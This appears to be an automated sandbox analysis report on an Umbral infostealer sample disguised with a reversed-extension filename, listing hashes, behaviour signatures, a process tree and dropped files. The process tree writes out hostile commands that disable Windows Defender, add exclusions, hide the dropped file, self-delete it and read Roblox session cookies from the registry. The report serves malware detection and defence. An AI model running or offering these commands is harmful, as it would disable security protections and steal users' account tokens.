Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-11-2024 13:57

General

  • Target

    log‮gnp.exe

  • Size

    1.3MB

  • MD5

    47daa94b04ff038ade5342c9de2d93e7

  • SHA1

    e8918b3c526002213b94b5d497d63d2b98f6c354

  • SHA256

    7d75b643c71063ea63b7cf241bf138c5546ac59399456776938ae1dee6dcfd0a

  • SHA512

    abbfb1417edfde19694759d63ae175192ce180e937b443e4b485c32eee22389f319a618f9883934a6f878fd5d6530ab7b1f6058f616e79906f6adb8bb9115bf2

  • SSDEEP

    24576:xuDXTIGaPhEYzUzA0nOLYuVuoWIT/ntnA0zggkJboApVzHLEQrdCNYffzHLS:kDjlabwz9OLYdm9zItRnzzG4fzu

Malware Config

Signatures

  • Detect Umbral payload 4 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\log‮gnp.exe
    "C:\Users\Admin\AppData\Local\Temp\log‮gnp.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3244
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3348
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe"
        3⤵
        • Views/modifies file attributes
        PID:2432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2188
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:468
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4376
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2256
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:1908
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3568
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:3116
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4088
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:4968
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe"
          2⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3892
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
              PID:4300
            • C:\Windows\SYSTEM32\attrib.exe
              "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe"
              3⤵
              • Views/modifies file attributes
              PID:4340
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2816
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1876
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2008
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3160
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" os get Caption
              3⤵
                PID:3324
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" computersystem get totalphysicalmemory
                3⤵
                  PID:436
                • C:\Windows\System32\Wbem\wmic.exe
                  "wmic.exe" csproduct get uuid
                  3⤵
                    PID:3596
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3712
                  • C:\Windows\System32\Wbem\wmic.exe
                    "wmic" path win32_VideoController get name
                    3⤵
                    • Detects videocard installed
                    PID:4384
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe" && pause
                    3⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:5064
                    • C:\Windows\system32\PING.EXE
                      ping localhost
                      4⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:3428

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                64B

                MD5

                a67eee085e8f68aaffbfdb51503d6561

                SHA1

                29db9b41945c6a5d27d5836a1c780668eded65a0

                SHA256

                6e155bcc98f4e175a8701f030b73b14d9002b175ef58a19cb9010af3964e36b4

                SHA512

                7923bc74260e77d62b20cf510b79e0422563469ec3543084a989db154b1e39370f1a6e6c6e73caa7471d0974a693b1beb4fd2ddfb14b0b5c58650b5df3c32d81

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                96ff1ee586a153b4e7ce8661cabc0442

                SHA1

                140d4ff1840cb40601489f3826954386af612136

                SHA256

                0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

                SHA512

                3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                948B

                MD5

                28ef595a6cc9f47b8eccb22d4ed50d6c

                SHA1

                4335de707324b15eba79017938c3da2752d3eea5

                SHA256

                3abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9

                SHA512

                687b7849faa62a4dabc240b573afa163f0cda9a80be61cebe28ef1461777744d73b465ac92d065093228068540846e79c899445057f5b906f9b9fa9868132208

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                05f6f27c298dbb70ed7a51b844ada2a4

                SHA1

                d498076720a0ce3efe3c5afa9d18155f73f42b7b

                SHA256

                df90c1970460fa1b165594fb1b5d2ac3b2c6df11118bef7d6cc97972987809a5

                SHA512

                4dce5fe2d21fb57fd05d0139c3b29d887e62884fd3128e1d6718a61e98eaaca7ea6ed45accb1fd761323671bb159ac911c520fd3bd8e71d027ca69308984d7e6

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                2979eabc783eaca50de7be23dd4eafcf

                SHA1

                d709ce5f3a06b7958a67e20870bfd95b83cad2ea

                SHA256

                006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903

                SHA512

                92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                948B

                MD5

                966914e2e771de7a4a57a95b6ecfa8a9

                SHA1

                7a32282fd51dd032967ed4d9a40cc57e265aeff2

                SHA256

                98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

                SHA512

                dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                276798eeb29a49dc6e199768bc9c2e71

                SHA1

                5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

                SHA256

                cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

                SHA512

                0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                1KB

                MD5

                eeb6ad386d143f278077171fc01a81e8

                SHA1

                43cff1bd7240965bfb2f10e47c0cec0f94332e2d

                SHA256

                59d62f9472b4c00b7cae0ee702789fa2b0042c468e4de9421d2430f9973eb00d

                SHA512

                b40f003e6d97adaaf05809f06d12df01984943d9eb6c44eaeffef90df8de0040373150c9714b11a42db5189b7064eeed0609a39f6f1feb91b05dd1835333e8f2

              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Cc.exe

                Filesize

                492KB

                MD5

                4e6a63942f5205cc84a200ebc4aebc2e

                SHA1

                19ff74550c41a562e1b2b9cbe3c67608f685aefc

                SHA256

                fef58748adf375c23f2604f9c422f353a7fc969ca32bab8bf965b2648bf178d4

                SHA512

                34eb34a4358cfdf19563616659915ef0a895cbf1d37181fa4c003c1d904744c0ce664f56a287b2f2eb631e0f73af90e08b252d4bd090fe5054ed14890c251729

              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\CcC.exe

                Filesize

                492KB

                MD5

                9e1d91acd2ee7f84fdb7374b66b28cf9

                SHA1

                36701c1a18a9fafe10e3d8fa2318453d7d193d5f

                SHA256

                fe47fabeb2de30c850fda2ee6f5af68de6197e84f748d2d81855db4a27755703

                SHA512

                eaf5e72e466dd31083156ad71f73bfa474219c2b4a753ec2ef1f7514ac3706a8d20018d07432a9ef68779300b8f13378a767625d8ea8722a1dab12ba91c0514a

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aan1jb1d.jsy.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Windows\System32\drivers\etc\hosts

                Filesize

                2KB

                MD5

                4028457913f9d08b06137643fe3e01bc

                SHA1

                a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

                SHA256

                289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

                SHA512

                c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

              • memory/1508-24-0x00000214ED200000-0x00000214ED222000-memory.dmp

                Filesize

                136KB

              • memory/2352-105-0x00007FF8BBA60000-0x00007FF8BC521000-memory.dmp

                Filesize

                10.8MB

              • memory/2352-85-0x000001DB53460000-0x000001DB53472000-memory.dmp

                Filesize

                72KB

              • memory/2352-45-0x000001DB53490000-0x000001DB53506000-memory.dmp

                Filesize

                472KB

              • memory/2352-84-0x000001DB53430000-0x000001DB5343A000-memory.dmp

                Filesize

                40KB

              • memory/2352-47-0x000001DB3A9D0000-0x000001DB3A9EE000-memory.dmp

                Filesize

                120KB

              • memory/2352-18-0x00007FF8BBA60000-0x00007FF8BC521000-memory.dmp

                Filesize

                10.8MB

              • memory/2352-46-0x000001DB53560000-0x000001DB535B0000-memory.dmp

                Filesize

                320KB

              • memory/2352-17-0x000001DB38CA0000-0x000001DB38D22000-memory.dmp

                Filesize

                520KB

              • memory/2352-16-0x00007FF8BBA63000-0x00007FF8BBA65000-memory.dmp

                Filesize

                8KB

              • memory/3892-116-0x00000167BD010000-0x00000167BD092000-memory.dmp

                Filesize

                520KB